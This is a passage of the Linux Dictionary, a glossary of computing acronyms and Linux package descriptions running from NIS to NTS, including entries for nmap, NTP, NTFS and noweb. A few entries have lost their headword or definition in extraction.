<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIS

Network Information Service (NSF) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIS

Network Information Service, a service that provides information, that has to be known throughout the network, to all machines on the network. There is support for NIS in Linux's standard libc library, which in the following text is referred to as "traditional NIS". From NIS HOWTO
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIS

Network Information System (Unix) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIS

see network information service (NIS). From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIS+ (Network Information Service Plus)

essentially NIS on steroids. NIS+ is designed by Sun Microsystems Inc. as a replacement for NIS with better security and better handling of large installations. From NIS HOWTO
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NISC

Network Information and Support Center From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NISDN

Narrowband Integrated-Services Digital Network (ISDN), "N-ISDN" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NISI

Network Information Services Infrastructure From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NISO

National Information Standards Organization (org., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NISS

National Information on Software and Services (USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NISSPAC

NISS Public Access Collections (NISS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIST

National Institute of Standards and Technology (org., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NISYP

Network Information System / Yellow Pages, "NIS/yp" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NITF

National Imagery Transmission Format From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NITOL

Norway-net with IT for Open Learning (network) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nitpic

Simulator for the Microchip PIC16C84 microcontroller Nitpic is a X-based simulator for the Microchip PIC family of microcontrollers. It currently supports only the PIC16C84. This is beta software. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NITS

Network Independent Transport Service From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIU

Network Interface Unit From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIU

North american ISDN Users (USA, ISDN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIUF

North american ISDN Users Forum (USA, user group, ISDN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

njamd

Not Just Another Malloc Debugger NJAMD protects against all common dynamic memory bugs, including overflow, underflow, writes to freed memory, and memory leaks, all without recompiling or even relinking your executable. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NJC

Nordic Journal of Computing (Finland) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NJE

Network Job Entry (BITNET, RSCS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NJE

Network Job Entry From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

njplot

[Biology] A tree drawing program NJplot is able to draw any binary tree expressed in the standard phylogenetic tree format (e.g., the format used by the Phylip package). NJplot is especially convenient for rooting the unrooted trees obtained from parsimony, distance or maximum likelihood tree-building methods. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NJSZT

Neumann Janos SZamitogep-tudományi Tarsasag (org., Ungarn) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nkf

Network Kanji code conversion Filter Nkf is a yet another kanji code converter among networks, hosts and terminals. It converts input kanji code to designated kanji code such as 7-bit JIS, MS-kanji (shifted-JIS) or EUC. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NKS

Network Knowledge Server From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NKSR

Non-Kernel Security Related (Unix) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NL

Network Layer (ISO, OSI) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NLM

Netware Loadable Module (Novell, Netware) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nload

A realtime network usage monitor. Nload is a console application which monitors network traffic and bandwidth usage in real time. It displays the total amount of data that has been transferred over a network device since the last reboot, the current bandwidth usage, and the minimum, maximum, and average bandwidth usage measured since it started. If the user wants, it is also able to display two bars, similar to progress bars, presenting the current load graphically. Support for displaying several devices simultaneously is included. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NLP

Natural Language Processing From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NLP

Non-Linear Programming From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

National Multimedia Association of America (org., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- nmap**
Nmap is a utility for network exploration or security auditing. It supports ping scanning (determine which hosts are up), many portscanning techniques (determine what services the hosts are offering), and TCP/IP fingerprinting (remote host operating system identification). Nmap also offers flexible target and port specification, decoy scanning, determination of TCP sequence predictability characteristics, reverse-identd scanning, and more. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- nmap**
The Network Mapper nmap is a utility for port scanning large networks, although it works fine for single hosts. The guiding philosophy for the creation of nmap was TMTOWTDI (There's More Than One Way To Do It). This is the Perl slogan, but it is equally applicable to scanners. Sometimes you need speed, other times you may need stealth. In some cases, bypassing firewalls may be required. Not to mention the fact that you may want to scan different protocols (UDP, TCP, ICMP, etc.). You just can't do all this with one scanning mode. And you don't want to have 10 different scanners around, all with different interfaces. Thus I incorporated virtually every scanning technique I know into nmap. Specifically, nmap supports: Vanilla TCP connect() scanning, TCP SYN (half open) scanning, TCP FIN (stealth) scanning, TCP ftp proxy (bounce attack) scanning SYN/FIN scanning using IP fragments (bypasses packet filters), UDP recvfrom() scanning, UDP raw ICMP port unreachable scanning, ICMP scanning (ping-sweep), and Reverse-ident scanning. nmap also supports a number of performance and reliability features such as dynamic delay time calculations, packet timeout and retransmission, parallel port scanning, detection of down hosts via parallel pings,

Linux Dictionary

and flexible target and port specification. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nmapfe

The Network Mapper Front End nmapfe provides an X Window System (GTK+) front end for nmap. Written by Zach Smith, nmapfe is now maintained by Fyodor. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nmbd

NetBIOS name server to provide NetBIOS over IP naming services to clients From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nmh

A set of electronic mail handling programs. This is the nmh mail user agent (reader/sender), a command line based mail reader that is powerful and extensible. nmh is an excellent choice for people who receive and process a lot of mail. Unlike most mail user agents, nmh is not a single program, rather it is a set of programs that are run from the shell. This allows the user to utilize the full power of the Unix shell in coordination with nmh. Various front-ends are available, such as mh-e (an emacs mode), xmh, and exmh (X11 clients). nmh was originally based on MH version 6.8.3, and is intended to be a (mostly) compatible drop-in replacement for MH. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NMI

/N-M-I/ n. Non-Maskable Interrupt. An IRQ 7 on the PDP-11 or 680[01234]0; the NMI line on an 80[1234]86. In contrast with a priority interrupt (which might be ignored, although that is unlikely), an NMI is never ignored. Except, that is, on clone boxes, where NMI is often ignored on the motherboard because flaky hardware can generate many spurious ones. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NMVT

Network Management Vector Transport From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nn

Heavy-duty USENET news reader (curses-based client) The motto of nn is its expanded name, which is "No News is good news, but nn is better", and the nn newsreader is designed to let you minimize the amount of time you spend reading news (or, more realistically, to allow you to follow even more newsgroups :-). Nn allows you to quickly select articles of interest and skip the rest. It also supports efficient article killing and selection of articles by author and subject. This version of nn reads news from a news server via NNTP (the Network News Transfer Protocol), and can make use of your NNTP server's NOV database, if configured. You must have a news server available - large sites usually provide a site-wide server. (For those familiar with 'nn', this is a client-only version.) From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NN

Neural Network (NN) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NNI

Network Node Interface (ATM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NNI

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NNSC

NSF Network Service Center (org., NSF) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nntp

A NNTP server for use with C News. This package enables the a C News server to exchange News over the Internet using the NNTP protocol. It allows remote reading over NNTP. The nntpd server is run from inetd saving resources. Included are nntpd and the programs needed to transmit news using nntp (nntpsubmit, nntpsend). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NNTP

Acronym for Network News Transfer Protocol, a system for reading and writing Usenet News articles across a network, this service is defined by RFC number 977. From KADOWKEV
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NNTP

Network News Transfer Protocol (Internet, RFC 977, Usenet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NNTP (Network News Transfer Protocol)

In Usenet, the standard that governs the distribution of UseNet newsgroups via the Internet. See NNTP server. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NNTP (Network News Transport Protocol)

The protocol used by client and server software to carry USENET postings back and forth over a TCP/IP network. If you are using any of the more common software such as Netscape, Nuntius, Internet Explorer, etc. to participate in newsgroups then you are benefiting from an NNTP connection. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NNTPS

Network News Transfer Protocol – Secured ??? (NNTP, Internet, Usenet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NNX

Network Numbering eXchange From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NOA

Net On Air (Internet) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

noarch

Most commonly seen as a suffix to binary packages (such as RPM packages) to be installed on a Linux system. It simply means that the package can be installed on any architecture, whether that may be x86, Sparc or Alpha based systems. From Binh
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

noatun

Media player (for video and audio) Media player (for video and audio) for KDE From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

noatun-plugins

plugins for Noatun, the KDE media player This package contains a variety of useful plugins for Noatun, the audio and video media player for KDE. The plugins can be loaded through the plugin manager in Noatun settings. Highlights include an alarm clock, guessing tags from filenames and a number of scopes ranging from visually entrancing to "weird and annoying". This package is part of the KDE addons module. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NOC

Network Operations Center From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

noclobber

If set, bash does not overwrite an existing file with the >, >&, and <> redirection operators. This variable may be overridden when creating output files by using the redirection operator >| instead of > (see also the -C option to the set builtin command). From Rute-Users-Guide

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NOCS

Network Operations Center System From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

node

Amateur Packet Radio Node program The node program accepts TCP/IP and packet radio network connections and presents users with an interface that allows them to make gateway connections to remote hosts using a variety of amateur radio protocols. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Node

Any single computer connected to a network. From Matisse

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nodefs

find definitions in noweb file From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NODIS

NSSDC Online Data and Information Service (NSSDC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

noffle

offline news server NOFFLE is a news server optimized for low speed dialup connection to the Internet and few users. It allows reading news offline with many news reader programs, even if they do not support offline reading by themselves. It does for NNTP what wwwwoffle does for HTTP. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

noflushd

allow idle hard disks to spin down Noflushd is a daemon that spins down disks that have not been read from after a certain amount of time, and then prevents disk writes from spinning them back up. It's targeted for laptops but can be used on any computer with IDE disks. The effect is that the hard disk actually spins down, saving you battery power, and shutting off the loudest component of most computers. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nohup

run a command immune to hangups, with output to a non-tty From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NOI

Node Operator Interface From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

noindex

build external index for noweb document From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nolinks

If set, the shell does not follow symbolic links when executing commands that change the current working directory. It uses the physical directory structure instead. By default, bash follows the logical chain of directories when performing commands which change the current directory, such as cd. See also the description of the -P option to the set builtin (SHELL BUILTIN COMMANDS below). From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NOMA

Linux Dictionary

National Online Media Association (org., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NoMad Linux

The web site says NoMad Linux 2.0 is on the way. There are no dates, though, so this could be historical. NoMad is based on the encap package managing system for ease of installation and upgrades. NoMad's main purpose is to keep it's creators happy and give them something to do in their free time. More and more, they see NoMad as a distribution for the scientists/engineers/geeks that know what they want and don't want anything else. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nonce

In communications, a nonce is a specific value inserted into the message in order to defend against replay attacks. A nonce is usually random. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nonlock

Thai (and other) Keyboard switcher using XKB nonlock is a keyboard switcher using xkb, for Thai or other language user. It is designed for WindowMaker but can be used with other window manager. Under WindowMaker, it is a dockable application. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NORGEN

Network Operations Report GENerator From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NORMA

NO Remote Memory Access (OSF/1, Multi-Server) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

normalize

adjust the volume of WAV files to a standard volume level normalize is a tool for adjusting the volume of WAV files to a standard volume level. This is useful for things like creating mix CDs and mp3 databases, where different recording levels on different albums can cause the volume to vary greatly from song to song. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

noroff

format woven troff documentation From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

noroots

print roots of a noweb file From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NOS

Network Operating System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NOS (Network operating system)

The system software of a local area network (LAN) that integrates the network's hardware components, usually adequate for connecting up to 50 workstations. Included, typically, are such features as a menu-driven administration interface, tape backup of file-server software, security restrictions, facilities for sharing printers, central storage of application programs and databases, remote log-in via modem, and support for discuss workstations. A network operating system establishes and maintains the connection between the workstations and the file server; the physical connections alone aren't sufficient to support networking. The operating system consists of two parts: the file server software and workstation software. See LAN memory management program, and NetWare. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NOSA

Netlabs Open Source Archive From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NOSAC

Netlabs Open Source Archive Client (NOSA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nosql3

a Relational Database Management System for Unix. NoSQL is a fast, portable, relational database management system without arbitrary limits, (other than memory and processor speed) that runs under, and interacts with, the UNIX Operating System. It uses the Operator/Stream DBMS paradigm described in "Unix Review", March, 1991, page 24, entitled "A 4GL Language". There are a number of "operators" that each perform a unique function on the data. The "stream" is supplied by the UNIX Input/Output redirection mechanism. Therefore each operator processes some data and then passes it along to the next operator via the UNIX pipe function. This is very efficient as UNIX pipes are implemented in memory. NoSQL is compliant with the "Relational Model". *NOTE*: This is a new, re-designed, more performant upstream release which is no longer command-line compatible with NoSQL V2. The commands are now in /usr/lib/nosql3 in order to not clutter up /usr/bin. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

notangle

noweb, a literate-programming tool From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

note

small program managing notes from commandline This is a small console program similar to knotes, which allows you to manage notes from commandline. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

notify

If set, bash reports terminated background jobs immediately, rather than waiting until before printing the next primary prompt (see also the -b option to the set builtin command). From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

notifyme

A program to notify the user when other one logs in Notifyme is a GPL'ed Unix (tested under Linux, FreeBSD and OpenBSD) console utility that stays in a background (it isn't a daemon but it doesn't block terminal) and prints a message if a specified login and/or logout occurs. In a resource file (\$HOME/notify.rc by default) you can specify (extended regular expressions are allowed) usernames, hostnames and terminals that should be monitored, optional messages that will be displayed and other options (beep, report logouts etc.) See notifyrc.sample for examples. It should be self explanatory. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NOTIS

Network Operator Trouble Information System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nountangle

noweb, a literate-programming tool From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NOVM

NO Virtual Memory. A version of the caching server Squid. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NOW

Network Of Workstations (Cluster) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

noweave

noweb, a literate-programming tool From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

noweb

a simple literate-programming tool From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nowebm

A WEB-like literate-programming tool. noweb is designed to meet the needs of literate programmers while remaining as simple as possible. Its primary advantages are simplicity, extensibility, and language-independence. The noweb manual is only 3 pages; an additional page explains how to customize its LaTeX output. noweb works "out of the box" with any programming language, and supports TeX, latex, and HTML back ends. The primary sacrifice relative to WEB is that code is not prettyprinted. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

no_exit_on_failed_exec

If this variable exists, a non-interactive shell will not exit if it cannot execute the file specified in the exec builtin command. An interactive shell does not exit if exec fails. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NP

Network Performance From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NP

No Problem (DFUe, Usenet, IRC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NPA

Network Performance Analyzer From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NPA

Network Printer Alliance (IEEE 1284, IBM, Lexmark, Xerox) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NPA

Network Professional Association (org., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NPA

Numbering Plan Area From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NPAC

Northeast Parallel Architectures Center (org., USA, HPC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NPACI Rocks Cluster Distribution

The folks at NPACI have built a cluster distribution that emphasizes ease of management, configurability and security. Red Hat Linux 7.3 forms the base of this special purpose distribution, which is being used by a number of educational and commercial organizations. The distribution is not OSCAR-based, and it has some significant advantages over the OSCAR methodology/implementation. Version 2.3.2 was released April 1, 2003. A 'special purpose/mini' distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

npadmin

Query information from SNMP featured printer This is a quite small utility to query information from a network printer which has to understand SNMP. You can use this tool to query the features of a printer, get the pagecount or inquire the printer status e.g. how much paper is left in the printer. This might sound uninteresting but it is very nice for writing scripts to illustrate printer usage and stuff. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nparted

Newt and GNU Parted based disk partition table manipulator nParted is a newt-based front end to the GNU parted library that permits the user to resize, copy, and move disk partitions in the style of PowerQuest's well-known Partition Magic partition table editor. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NRZI

Non-Return-to-Zero, Invert to ones [encoding] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NS

Name Server (DNS, Unix) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NS

N

National Standard From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NSA

National Security Agency (org., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NSA Security Enhanced Linux

Is also sometimes referred to as simply SELinux. The results of several previous research projects by the National Security Agency have been incorporated in a security-enhanced Linux system. This version of Linux has a strong, flexible mandatory access control architecture incorporated into the major subsystems of the kernel. The system provides a mechanism to enforce the separation of information based on confidentiality and integrity requirements. This allows threats of tampering and bypassing of application security mechanisms to be addressed and enables the confinement of damage that can be caused by malicious or flawed applications. Version 2003040708 was released April 7, 2003. A 'secured' distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NSAI

National Standards Authority of Ireland (org., Ireland) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NSAP

NSTAN

NebenSTellenANlagen (Telekom, CBX), "NStAn" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NSTC

National Science and Technology Council (org., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NSTL

National Software Testing Lab (org., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nstreams

network streams – a tcpdump output analyzer Nstreams is a utility designed to identify the IP streams that are occurring on a network from a non-user friendly tcpdump output of several megabytes. This is especially useful when you plan to install a firewall but if you do not know the nstreams that the network users are generating (http, real audio, and more...). Nstreams can read the tcpdump output directly from stdin, or from a file. It can even generate the configuration file of your firewall. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NSTS

National Secure Telephone System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NSTX

??? [protocol] From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nsupdate

Linux Dictionary

Dynamic DNS update utility From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NSW

National Software Works (OS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NT

Netzwerk Terminator, Network Terminator (ISDN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NT

New Technology (MS, OS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NT

Nome Time [-1100] (TZ) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NT1

Network Termination [unit] 1 (ISDN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ntaim

curses-based AIM client nTAIM is a curses-based AOL Instant Messenger client which is quite featureful. It supports tab completion, custom color schemes, logging, buddy aliases, buddy pounce, and a number of other things. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTAS

NT Advanced Server (MS, Windows NT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTBA

Network Termination for Basic Access (ISDN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTC

National Telecommunications Conference (conference, USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTDS

[Windows] NT Directory Services (MS, Windows NT, DS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTE

Network Terminal Equipment From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nTE

shared text editor designed for use on the Mbone. NTE is a shared text editor designed for use on the Mbone. It is not a word processor (it is not clear that word processing is a useful task to share) and it is not a whiteboard – if you want a whiteboard, wb from LBL is a much better whiteboard. Using NTE can be very interactive – unless you lock a block of text, anyone else in your session can edit that text or delete it. This is intentional. Many people can (if they wish) edit the same document simultaneously. Many people can even edit the same block of text simultaneously, but if more than one person tries to edit the same line at one time, a conflict will occur, which results in only one of the changes being preserved. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTFS

NT File System. An optional way of formatting disks under WinNT that contains many enhancements (performance, reliability, and security) over the older FAT file-system found in DOS. Key point: Hardened WinNT computers should use NTFS exclusively. After installation, some file and directory permissions need to be adjusted. Key point: NTFS supports a feature called "alternate data-streams"

(similar to Macintosh data and resource forks) that can be used to attach data to files in a hidden way. The additional information does not appear to change the size of the file in directory listings. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTFS

[windows] New Technology File System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ntfsdoc

Documentation about NTFS partitions format. This work is derived from the Linux-NTFS project (<http://linux-ntfs.sf.net/>), that aims to bring full support for the NTFS filesystem to the Linux operating system. This is a set of documents about all the NTFS internals (all the publicly known internals) and the NTFS journal file format. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ntfstools

Tools for doing neat things in NTFS partitions from Linux. The Linux-NTFS project (<http://linux-ntfs.sf.net/>) aims to bring full support for the NTFS filesystem to the Linux operating system. This is a set of tools targeted for people interested in working with the NTFS support in the Linux kernel and using it. The following utilities are included: ntfsfix – Attempt to fix an NTFS partition that has been damaged by the Linux NTFS driver. You should run it every time after you have used the Linux NTFS driver to write to an NTFS partition to prevent massive data corruption from happening when Windows mounts the partition. mkntfs – Format a partition with the NTFS filesystem. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTIA

National Telecommunications and Information Administration / Agency (org., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTK

Need-To-Know (slang, Usenet, IRC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTK

Newton ToolKit (Apple) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTLM

[Windows] NT LAN Manager (MS, Windows NT, LAN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTN

National Telecommunications Network From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTO

Network Terminal Option From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ntop

display network usage in top-like format ntop is a Network Top program. It displays a summary of network usage by machines on your network in a format reminiscent of the unix top utility. It can also be run in web mode, which allows the display to be browsed with a web browser. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ntp

Daemon and utilities for full NTP v4 timekeeping participation. The Network Time Protocol allows for the synchronization of clocks on networked computers. The ntpd daemon implements NTP, allowing Unix systems to participate in this synchronization. To minimize resource consumption in the general case, this package no longer includes the actual daemon. You will need either ntp-simple or ntp-refclock, depending on whether you want the drivers for radio clocks included in the refclock version of the daemon. NTP was designed with attention to details which might introduce systematic bias into the computations, and the protocol is capable of synchronizing with even the most precise external time sources. For more information on how NTP works, and how to configure a campus of

ntpd daemons, load the optional Debian package 'ntp-doc'. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTP

Network Time Protocol (Internet, RFC 1119/1305) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTP

Network Time Protocol – protocol built on top of TCP/IP that assures accurate local timekeeping with reference to radio, atomic or other clocks located on the Internet. This protocol is capable of synchronizing distributed clocks within milliseconds over long time periods. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ntp

The Network Time Protocol (NTP) is used to synchronize a computer's time with another reference time source. The ntp package contains utilities and daemons that will synchronize your computer's time to Coordinated Universal Time (UTC) via the NTP protocol and NTP servers. The ntp package includes ntpdate (a program for retrieving the date and time from remote machines via a network) and ntpd (a daemon which continuously adjusts system time). Install the ntp package if you need tools for keeping your system's time synchronized via the NTP protocol. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ntp-refclock

NTP v4 daemon for reference clocks. This version of the ntp daemon includes drivers to interface to various radio clocks and other devices used for creating reference clocks. If you do not have a radio clock, use the ntp-simple package instead, as it consumes far less memory! If you're serious about building a high-quality stratum 1 timekeeper, please take a look at Ulrich Windl's PPSkit patchset for the Linux kernel, available from the kernel.org mirror network in pub/linux/daemons/ntp. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ntp-simple

NTP v4 daemon for simple systems. This version of the ntp daemon is sufficient for most systems. If you wish to configure a reference clock, particularly if you have a radio clock, use the ntp-refclock package instead. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ntpdate

The ntpdate client for setting system time from NTP servers. The ntpdate client allows a system's clock to be set to match the time obtained by communicating with one or more servers running the NTP protocol. The use of ntpdate is optional if you're running the ntp package, it can help a system obtain lock if it starts with a time that's pretty close by using ntpdate before starting the daemon. The ntpdate client by itself is useful for occasionally setting the time on machines that are not on the net full-time, such as laptops. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTS

Network Technical Support From VERA
